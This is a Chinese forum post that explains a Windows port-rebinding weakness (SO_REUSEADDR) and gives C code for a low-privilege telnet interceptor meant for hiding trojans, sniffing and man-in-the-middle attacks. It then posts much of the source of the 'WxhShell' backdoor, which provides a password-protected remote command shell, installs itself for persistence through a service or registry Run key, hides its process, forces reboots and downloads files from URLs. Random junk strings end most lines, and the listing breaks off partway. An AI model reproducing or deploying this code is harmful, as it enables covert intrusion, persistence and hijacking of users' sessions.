社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 9842阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Lcpe*C x-  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )xyjQ|b  
{:uv}4Z  
  saddr.sin_family = AF_INET; )e?&'wa>  
lUs$I{2_  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); j0mN4Ny  
Mz6(M,hkq  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 6EyPZ{  
dJ6fPB|k  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 0,t%us/q  
X>o9mW  
  这意味着什么?意味着可以进行如下的攻击: H/*ol^X7  
Tl2t\z+ps  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 hOAZvrfQ4  
ALTOi?  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) +_i{4Iz~p  
N~O3KG q  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 dn- [Gnde  
w7?fJ")  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  $C\ETQ@  
P+hcj p*  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ~/`/r%1/J  
&su'znLV  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 TSP%5v;Dh  
vNGE]+QX  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 edp I?  
D:/ n2_  
  #include gfg,V.:  
  #include *tF~CG$r  
  #include wL?Up>fr  
  #include    o2ggHZe/=@  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Bxm,?=h  
  int main() c,2& -T}  
  { <(lA CH  
  WORD wVersionRequested; =WY'n l'  
  DWORD ret; 1z-.e$&z  
  WSADATA wsaData; Kk8} m;  
  BOOL val; ~U&NY7.@  
  SOCKADDR_IN saddr; 7a'yO+7-)  
  SOCKADDR_IN scaddr; C.92FiC  
  int err; M@A3+ v%K  
  SOCKET s; aDNB~CwZZ  
  SOCKET sc; ;yt6Yp.6e  
  int caddsize; {'O><4  
  HANDLE mt; SO0\d0?u  
  DWORD tid;   $~G,T g  
  wVersionRequested = MAKEWORD( 2, 2 ); !RmVb}m  
  err = WSAStartup( wVersionRequested, &wsaData ); f)/Z7*Z  
  if ( err != 0 ) { Iy9hBAg\y  
  printf("error!WSAStartup failed!\n"); |q77  
  return -1; VyxYv-$Y  
  } 1XSnnkJm  
  saddr.sin_family = AF_INET; Pqomi!1  
   p,fV .5q  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Wm}c-GD  
Q4"\k. ?  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); n(F!t,S1i  
  saddr.sin_port = htons(23); r.H`3m.0q  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) P9cx&Hk9  
  { 2^WJ1: A  
  printf("error!socket failed!\n"); l/X_CM8y~  
  return -1; l'+3 6  
  } S:_Ms{S  
  val = TRUE; YO7U}6wBt  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Lj1l ]OD  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ;?2)[a  
  { hC:'L9Y  
  printf("error!setsockopt failed!\n"); p`Pa;=L  
  return -1; ~$HB}/  
  } O^@8Drgc  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; x4'@U<  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 \cIN]=#  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 gpV4qDXV  
lYx_8x2  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Zo3!Hs ZA  
  { a$My6Qa#  
  ret=GetLastError(); bBjr hi  
  printf("error!bind failed!\n"); 7]h%?W !  
  return -1; ]ZY2\'  
  } 9jkz83/+<  
  listen(s,2); 9pp +<c  
  while(1) ;28d7e}  
  { *r`=hNr  
  caddsize = sizeof(scaddr); Hy.u6Jt*/  
  //接受连接请求 A5XMA|2_  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ob.<j  
  if(sc!=INVALID_SOCKET) Bs~~C8+  
  { n1f8jS+'}  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); } !m43x/&  
  if(mt==NULL) o^"+X7)  
  { <&5z0rDKWw  
  printf("Thread Creat Failed!\n"); pp"X0  
  break; w+br)  
  } gmL~n7m:K  
  } hw DxGiU  
  CloseHandle(mt); fq7#rZCxX  
  } .a*?Pal@@  
  closesocket(s); U: 9&0`k(  
  WSACleanup(); pi"H?EHk  
  return 0; ,-pE/3|(  
  }   sU_K^=6*  
  DWORD WINAPI ClientThread(LPVOID lpParam) f@OH~4FG  
  { ;,4*uU'vq  
  SOCKET ss = (SOCKET)lpParam; }%< ?]  
  SOCKET sc; D p'urf\*$  
  unsigned char buf[4096]; BPY7O  
  SOCKADDR_IN saddr; ;KL7SM%g4  
  long num; Qd} n4KF\  
  DWORD val; @Kpm&vd(  
  DWORD ret; NdXHpq;  
  //如果是隐藏端口应用的话,可以在此处加一些判断 c+:ZmrP/  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   CsO!Y\'FY  
  saddr.sin_family = AF_INET; Y+?QHtZL  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Q"QRF5Ue  
  saddr.sin_port = htons(23); E2e"A I.h  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) F]$ Nu  
  { 37U8<  
  printf("error!socket failed!\n"); Ni_H1G  
  return -1; @ st>#]i4  
  } [?]N GTr#  
  val = 100; y~9wxK  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) O<m46mwM  
  { 4 2Z:J 0  
  ret = GetLastError(); |9E:S  
  return -1; 5GsmBf$RUb  
  } TDh)}Ms  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +IdM|4$\1  
  { PUdv1__C  
  ret = GetLastError(); xWLvx'8W  
  return -1; t>bzo6cj  
  } N1t4o~  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) q*hn5K*  
  { m06'T2I  
  printf("error!socket connect failed!\n"); VI! \+A  
  closesocket(sc); V._-iw]v  
  closesocket(ss); 9 [eiN  
  return -1; $@AJg  
  } GkAd"<B  
  while(1) -X.#Y6(  
  { [OC( ~b  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 f1'ByV'2  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 W{,fpm  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 529; _|  
  num = recv(ss,buf,4096,0); K; #FU  
  if(num>0) A*h8 o9M  
  send(sc,buf,num,0); >.?yz   
  else if(num==0) e@'x7Zzh  
  break; 8F sQLeOE  
  num = recv(sc,buf,4096,0); lu#a.41  
  if(num>0) }z]d]  
  send(ss,buf,num,0); UF9={fN1  
  else if(num==0) Ac_P^  
  break; -laH^<jm5  
  } ql?w6qFs]  
  closesocket(ss); |_53So: g  
  closesocket(sc); )~'UJPK  
  return 0 ; uLdHE5vr  
  }  5wK==hZ  
s< tG  
u Kx:7"KD  
========================================================== b_+o1Zy`  
0|GYtnd  
下边附上一个代码,,WXhSHELL Es=G' au  
[@K'}\U^+  
========================================================== H1N@E}>|  
?$pNduE  
#include "stdafx.h" @nH3nn  
%`C e#b()'  
#include <stdio.h> vn.5X   
#include <string.h> pMU\f  
#include <windows.h> KXWcg#zFY  
#include <winsock2.h> htB2?%S=T  
#include <winsvc.h> {|9knP  
#include <urlmon.h> Dl!0Hl  
.][yH[ F  
#pragma comment (lib, "Ws2_32.lib") E~y8X9HZ)  
#pragma comment (lib, "urlmon.lib") U][E`[m#  
PMQTcQ^  
#define MAX_USER   100 // 最大客户端连接数 g`y9UYeh  
#define BUF_SOCK   200 // sock buffer <@J$hs9s  
#define KEY_BUFF   255 // 输入 buffer B>u`%Ry&  
8@3=SO  
#define REBOOT     0   // 重启 > ?+Rtg|${  
#define SHUTDOWN   1   // 关机 i4YskhT  
h7]+#U]mi  
#define DEF_PORT   5000 // 监听端口 }s2CND  
:(q4y-o6  
#define REG_LEN     16   // 注册表键长度 AD   
#define SVC_LEN     80   // NT服务名长度 J.iz%8  
JuJW]E Q  
// 从dll定义API Uw4iWcC  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); BA a:!p  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =eA|gt  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); yzEyOz@Q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); EW$drY@  
Uz;^R@  
// wxhshell配置信息 SFg4}*"C/  
struct WSCFG { imOIO[<;  
  int ws_port;         // 监听端口 L,zx\cj?z  
  char ws_passstr[REG_LEN]; // 口令 or-k~1D  
  int ws_autoins;       // 安装标记, 1=yes 0=no $HwF:L)*  
  char ws_regname[REG_LEN]; // 注册表键名 091m$~r*  
  char ws_svcname[REG_LEN]; // 服务名 60{G 4b)  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 oyVT  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 jTwSyW  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <MEm+8e/s6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no P$'PB*5d|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" TTG=7x:3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 CC^D4]ug  
_JC*4  
}; %)V=)l.j  
7sVM[lr<  
// default Wxhshell configuration O+!4KNN.-  
struct WSCFG wscfg={DEF_PORT, WrP+n  
    "xuhuanlingzhe", Rd8mn'A  
    1, z ,;XWv?  
    "Wxhshell", hw"2'{"II  
    "Wxhshell", :h,}yBJ1L  
            "WxhShell Service", bfeTf66c  
    "Wrsky Windows CmdShell Service", KXMf2)pa  
    "Please Input Your Password: ", Lginps[la  
  1, lLQcyi0  
  "http://www.wrsky.com/wxhshell.exe", tDETRjTA  
  "Wxhshell.exe" &pK0>2  
    }; :%sG'_d  
oDS7do  
// 消息定义模块 @+;.W>^h  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #~Xj=M%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; H[w';u[%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; D <~UaHfk  
char *msg_ws_ext="\n\rExit."; 9#[,{2pJr  
char *msg_ws_end="\n\rQuit."; uP4yJ/]  
char *msg_ws_boot="\n\rReboot..."; a@g <cl7a,  
char *msg_ws_poff="\n\rShutdown..."; 7 \xCNOKh  
char *msg_ws_down="\n\rSave to "; T6y~iNd<  
kRggVRM  
char *msg_ws_err="\n\rErr!"; *L?~  
char *msg_ws_ok="\n\rOK!"; KyIUz9$  
4UbqYl3 |a  
char ExeFile[MAX_PATH]; U ]pE{ ^\w  
int nUser = 0; gwNZ`_Q  
HANDLE handles[MAX_USER]; >~d'i  
int OsIsNt; b!t[PShw^  
#2|biTJ  
SERVICE_STATUS       serviceStatus; 3]S_w[Q4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; / 8O=3  
R?{_Q<17  
// 函数声明 tF[) Y#  
int Install(void); 86LE )z  
int Uninstall(void); 5XT^K)'  
int DownloadFile(char *sURL, SOCKET wsh); z81dm  
int Boot(int flag); Y4YZM  
void HideProc(void); $,Q] GIC  
int GetOsVer(void); x7B;\D#`i/  
int Wxhshell(SOCKET wsl); JCxQENsVqB  
void TalkWithClient(void *cs); cZ%tJ(&\7X  
int CmdShell(SOCKET sock); S9DXd]6q_  
int StartFromService(void); ;/NC[:'$D  
int StartWxhshell(LPSTR lpCmdLine); 7 cV G?Wr  
/nv*OKS|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )Q9Qo)D T  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [ 1G wcXr  
o(}%b8 K  
// 数据结构和表定义 C D6N8n]  
SERVICE_TABLE_ENTRY DispatchTable[] = kjQW9QJ<  
{ &qY]W=9uK  
{wscfg.ws_svcname, NTServiceMain}, XX-(>B0L  
{NULL, NULL} (k+*0.T&?  
}; 1q=Q/L4P  
z}}P+P/  
// 自我安装 w\[l4|g `  
int Install(void) ?9?A)?O<j~  
{ 7oZPb  
  char svExeFile[MAX_PATH]; /7#MJH5b6  
  HKEY key; :}36;n<['  
  strcpy(svExeFile,ExeFile); XR VZU~ZV  
?(zCv9Pg  
// 如果是win9x系统,修改注册表设为自启动 AP z"k?D0  
if(!OsIsNt) { 1tO96t^d%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v? 8i;[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6wT ])84  
  RegCloseKey(key); /\Cf*cJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;k0Jl0[}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .dYv.[?hL  
  RegCloseKey(key); 5{W Aw !  
  return 0; h#Rza-?"\  
    } hrJ(][8  
  } G8'{nPA~  
} t<c7%i#Od  
else { IkmEctAU  
k|>yFc  
// 如果是NT以上系统,安装为系统服务 @}PXBU   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); M_+W5Gz<  
if (schSCManager!=0) 8wO4;  
{ a/s5Oit2'X  
  SC_HANDLE schService = CreateService &kvmLOI  
  ( $XcH.z  
  schSCManager, AJ}m2EH  
  wscfg.ws_svcname, LV1drc  
  wscfg.ws_svcdisp, iM7 ^  
  SERVICE_ALL_ACCESS, UM0Ws|qx&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0N)DHD?U  
  SERVICE_AUTO_START, vC1fKo\p  
  SERVICE_ERROR_NORMAL, L9^ M?.a  
  svExeFile, *BrGh  
  NULL, izcjI.3e,  
  NULL, GwXhn2  
  NULL, "] 2^O  
  NULL, MrUjqv6a[  
  NULL =!DX,S7  
  ); u,:hT] ~+  
  if (schService!=0) 0datzEns`  
  { #: [F=2@,A  
  CloseServiceHandle(schService); y(iq  
  CloseServiceHandle(schSCManager); ->OVNmCB`+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); t@R n#(~"  
  strcat(svExeFile,wscfg.ws_svcname); \7h>9}wGf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { DC_uh  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `e;r$Vpd_  
  RegCloseKey(key); 2::YR?  
  return 0; +qpG$#J0  
    } ,K@[+ R!  
  } LRWM}'.s  
  CloseServiceHandle(schSCManager); .* `]x  
} Uu*iL< `  
} &Qv HjjQ?u  
K0oF=|  
return 1; x R$T/]/  
} _U LzA  
[f { qb\  
// 自我卸载 9D`K#3}  
int Uninstall(void) x'?p?u~[  
{ SAitufS  
  HKEY key; "~.4z,ha  
Yh^8 !  
if(!OsIsNt) { S8kzAT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $"( 15U  
  RegDeleteValue(key,wscfg.ws_regname); *pD|N  
  RegCloseKey(key); $8(QBZq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a_0I)' ?  
  RegDeleteValue(key,wscfg.ws_regname); )l! /7WKY  
  RegCloseKey(key); u^MRKLn  
  return 0; :_xfi9L~W0  
  } 7f k)a  
} mrsmul{  
} }pf|GdL  
else { +w.$"dF!  
XUVj<U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 31 <0Nw;l  
if (schSCManager!=0) ?+yM3As9_V  
{ N<b2xT  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); IUEpE9_  
  if (schService!=0) L58#ri=  
  { lw~ V  
  if(DeleteService(schService)!=0) { zx$1.IM"4  
  CloseServiceHandle(schService); du ~V=%9  
  CloseServiceHandle(schSCManager); h*40jZ  
  return 0; 4sO Rp^t'Q  
  } rp"5176  
  CloseServiceHandle(schService); Id`V`|q  
  } Nr]Fh  
  CloseServiceHandle(schSCManager); Sx J0Y8#z  
} oj{CNa  
} \1<|X].jNY  
!"yr;t>|Zb  
return 1; 7T6Zlp  
} ,W[J@4.  
?B e}{Qqlg  
// 从指定url下载文件 aaKf4}  
int DownloadFile(char *sURL, SOCKET wsh) 7q;`~tbC  
{ m44a HBwId  
  HRESULT hr; ^$% Sg//  
char seps[]= "/"; ZCZ@ZN  
char *token; ^ Lc\{,m  
char *file; _[E+D0A  
char myURL[MAX_PATH]; >W >Ei(f  
char myFILE[MAX_PATH]; ORF:~5[YS`  
+ a nsN~3  
strcpy(myURL,sURL); =+mb@#="m  
  token=strtok(myURL,seps); uJH[C>  
  while(token!=NULL) 7$g$p&,VX  
  { w1-P6cf  
    file=token; K,! V _  
  token=strtok(NULL,seps); Z- a  
  } Dj c-f  
Pf,@U'f|  
GetCurrentDirectory(MAX_PATH,myFILE); d8agM/F*/  
strcat(myFILE, "\\"); 6| B9kh}  
strcat(myFILE, file); 1,) yEeHjU  
  send(wsh,myFILE,strlen(myFILE),0); 8TAJ#Lm  
send(wsh,"...",3,0); <B0 f  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Xj{fM\,"9  
  if(hr==S_OK) R{bG`C8.d  
return 0; \5!7zPc  
else NZ i3U  
return 1; g<;::'6  
,e9M%VIu6[  
} IaSpF<&Y;  
2'-"&d+ O  
// 系统电源模块 *IWW,@0  
int Boot(int flag) WG6 0  
{ 2YKa <?_  
  HANDLE hToken;  &qdhxc4  
  TOKEN_PRIVILEGES tkp; A&Aj!#  
0mUVa=)D  
  if(OsIsNt) { g;p} -=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ARf{hiV6Wt  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 'n-y*f  
    tkp.PrivilegeCount = 1; -j]k^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #6ePwd  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _ pz}  
if(flag==REBOOT) { DZC@^k \E  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #I453  
  return 0; Kf BT'6t  
} J=$\-  
else { TE+>|}]R  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) rqmb<# Z  
  return 0; O HpV%8`  
} B T"R"w  
  } +ppA..1  
  else { a= j'G]=  
if(flag==REBOOT) { u)<s*jk  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -c0ypz  
  return 0; 7>j~;p{  
} 5a_8`csu  
else { PgK7CG7G  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) y-bUVw!Y  
  return 0; ?hkOL$v<9}  
} n8F5z|/  
} @ G)yz!H  
;H~<.QW  
return 1; NvJ5[W  
} 1F`jptVQ\G  
HVHv,:bPo  
// win9x进程隐藏模块 qJdlZW<  
void HideProc(void) )'U0n`=  
{ A/'po_'uy  
ySmbX  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .nrllVG%`  
  if ( hKernel != NULL ) v}Ju2}IK  
  { rjK`t_(=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @0@ZlH wM  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); sg^|dS{3D  
    FreeLibrary(hKernel); w(6n  
  } <8^x Mjc  
k[ro[E  
return; ,.W7Z~z  
} E(PBV  
8\lh'8  
// 获取操作系统版本 ciS,  
int GetOsVer(void) 6qH0]7maI  
{ <R /\nYXz  
  OSVERSIONINFO winfo; >UaQ7CRo  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /gZyl|kdy  
  GetVersionEx(&winfo); Df^F)\7!N?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) '&![h7B  
  return 1; ~pQN#C)CO>  
  else MWh Y&I+  
  return 0; a^p#M  
} yk`qF'4]  
?F AI@4  
// 客户端句柄模块 RTm/-6[N  
int Wxhshell(SOCKET wsl) 9dhEQ=K{3  
{ 9VnBNuT  
  SOCKET wsh; w]0@V}}u$o  
  struct sockaddr_in client; 2aM7zP[Z  
  DWORD myID; | ]*3En:  
R2Fjv@Egk  
  while(nUser<MAX_USER) h <LFTYE@  
{ E7MSoBX9M  
  int nSize=sizeof(client); Fye>H6MU  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;ItH2Lw<&  
  if(wsh==INVALID_SOCKET) return 1; K"0IWA  
 ;v:(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {?H5Pw>{%h  
if(handles[nUser]==0) ;KlYiu  
  closesocket(wsh); hWT jN  
else w*ans}P7  
  nUser++; wfmM`4Y   
  } -d\sKc  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "r-P[EKpL  
:u14_^  
  return 0; #s\@fp7A  
} gYB!KM *v  
W[\6h Zv  
// 关闭 socket G@k]rwub  
void CloseIt(SOCKET wsh)  oBkhb  
{ sE pI)9  
closesocket(wsh); !ajBZ>Q  
nUser--; `5IrV&a  
ExitThread(0); Cq\XLh `  
} < (xqw<)  
y?<KN0j  
// 客户端请求句柄 %y6(+I #P  
void TalkWithClient(void *cs) Qq<@;4  
{ _p-e)J$7  
&J>e; X  
  SOCKET wsh=(SOCKET)cs; N*o{BboK;  
  char pwd[SVC_LEN]; f"ndLX:'}  
  char cmd[KEY_BUFF]; q!ZM Wg  
char chr[1]; |58HPW9  
int i,j; !ZYPz}&N_  
0<uek  
  while (nUser < MAX_USER) { Ktq4b%{  
hx:q@[ +J/  
if(wscfg.ws_passstr) { M ^o_='\bE  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); SiLW[JXd  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DiFYVR<@  
  //ZeroMemory(pwd,KEY_BUFF); }KI/fh  
      i=0; %F;BL8d  
  while(i<SVC_LEN) { =nhY;pY3u  
[7Lr"  
  // 设置超时 dHc\M|HCC  
  fd_set FdRead; +OE!Uqnt  
  struct timeval TimeOut; !D#"+&&G8  
  FD_ZERO(&FdRead); hmu>s'  
  FD_SET(wsh,&FdRead); 7Y5r3a}%  
  TimeOut.tv_sec=8; [.gk{> #  
  TimeOut.tv_usec=0; ngo> ^9/8  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); n)e2?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); LhJUoX  
srGOIK.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0MWW( ;  
  pwd=chr[0]; !T{+s T  
  if(chr[0]==0xd || chr[0]==0xa) { yLnQ9BXB&  
  pwd=0; t6DSZ^Zq  
  break; +>Wo:kp3  
  } K-0=#6?y4  
  i++; Xz_WFLq4  
    } eZ$7VWG#  
&93{>caf+  
  // 如果是非法用户,关闭 socket o,6t: ?Z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0k]ApW  
} ?jmP] MM  
p F-Lz<V  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1q6)R/P  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vK',!1]y  
H;/do-W[  
while(1) { o(*\MT t?  
`6Bx8CZ'I  
  ZeroMemory(cmd,KEY_BUFF); vO}r(kNJ  
\SWTP1  
      // 自动支持客户端 telnet标准   XF!L.'zH  
  j=0; JrzPDb`m  
  while(j<KEY_BUFF) { PCviQ!X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #e' >9T  
  cmd[j]=chr[0]; g#5R|| r  
  if(chr[0]==0xa || chr[0]==0xd) { }"D;?$R!  
  cmd[j]=0; ?I}RX~Tgg  
  break; G:AA>t  
  } 5\Q Tm;  
  j++; 3l{V:x!9@  
    } ${f<}  
d^C@5Pd <  
  // 下载文件 [wGj?M}  
  if(strstr(cmd,"http://")) { [o)K1>>7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); F@BpAl  
  if(DownloadFile(cmd,wsh)) }`uyOgGg*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q5,zs_j  
  else 3\7MeG`tl  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yHeL&H  
  } J p'^!  
  else { {L-^J`> G  
EXDDUqZ5\  
    switch(cmd[0]) { L&pR#  
  CX|W$b)%  
  // 帮助 1d5%(:@  
  case '?': { /2tA n  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %*R, ceuI  
    break; 19E(Hsz  
  } ^O07GYF  
  // 安装 2bt>t[0ad  
  case 'i': { 4^F[Gp?  
    if(Install()) j4~(6Imm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q$:1Xkl  
    else RkYdK$|K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y%KowgP\  
    break; `"5U b,~  
    } +A}t_u3<  
  // 卸载 %_(vSpk  
  case 'r': { FM {f{2j  
    if(Uninstall()) $L*gtZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q0.!T0i  
    else cl& w/OJ#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (i~UH04r>s  
    break; c4H6I~2Na  
    } =7 l uV_5  
  // 显示 wxhshell 所在路径 B2;P%B  
  case 'p': { uo"<}>iJ  
    char svExeFile[MAX_PATH]; 1&w%TRC2x  
    strcpy(svExeFile,"\n\r"); 7^gO>2~  
      strcat(svExeFile,ExeFile); gIB3DuUo  
        send(wsh,svExeFile,strlen(svExeFile),0); Od!)MQ*,  
    break; IWv 9!lW  
    } pN9!  
  // 重启 JRl=j2z  
  case 'b': { _2fW/U54_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;s +/'(*  
    if(Boot(REBOOT)) iLy^U*yK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s= Fp[>qA  
    else { F 9%_@n  
    closesocket(wsh); `B %%2p&  
    ExitThread(0); ;K<VT\  
    } wm5&5F4:  
    break; I}`pY3  
